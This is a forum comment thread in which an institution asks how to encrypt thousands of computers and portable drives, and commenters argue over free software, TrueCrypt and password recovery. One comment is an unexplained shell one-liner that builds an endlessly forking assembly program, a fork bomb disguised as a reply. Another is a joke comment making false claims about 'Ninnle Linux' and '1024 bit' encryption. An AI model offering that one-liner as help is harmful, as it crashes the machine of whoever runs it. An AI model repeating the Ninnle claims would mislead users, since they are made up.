How To, When You Have To Encrypt Absolutely Everything?
Dark Neuron writes "My institution has thousands of computers, and is looking at starting an IT policy to encrypt everything, all hard drives, including desktops, laptops, external hard drives, USB flash drives, etc. I am looking at an open source product for Windows, Mac, UNIX, as well as portable hard drives, but I am concerned about overhead and speed penalties. Does anyone have experience and/or advice with encrypting every single device in a similar situation?"
Several agencies of the US government have been using Ninnle Linux for encryption purposes. It's only necessary to engage the one ultra secure switch and all devices run under 1024 bit encryption, the securest yet and a Ninnle Labs innovation.
Please stop. Non free software simply can not be trusted. Debian + whole drive encryption works just fine even with older hardware like a PIII. If the answer is non free software, you have asked the wrong question.
Imagine how embarassed you'd be if they beat you with a wrench to make you reveal your password and all they found afterwards was some goat porn.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
A: In case he/she forgets his/her password or loses his/her keyfile, you can "reset" the volume password/keyfiles to your original admin password/keyfiles by restoring the volume header from the backup file (Tools -> Restore Volume Header).
Seriously, a little research isn't hard.
And while your in your cozy basement at Mom's and your client is about to give his presentation to a potential customer on the beaches of Maui and can't boot the computer because he spent all day drinking pina colada's, and forgot his password. What then? Oh, and he doesn't have your fancy rescue CD (IE: Got scratched, lost when used as a Frisbee, or left behind?)What then?
Seriously, a little thinking about the real world isn't that hard.
Read the license again.
Truecrypt is not free software and security problems have been noted in the past. Only free software should be trusted.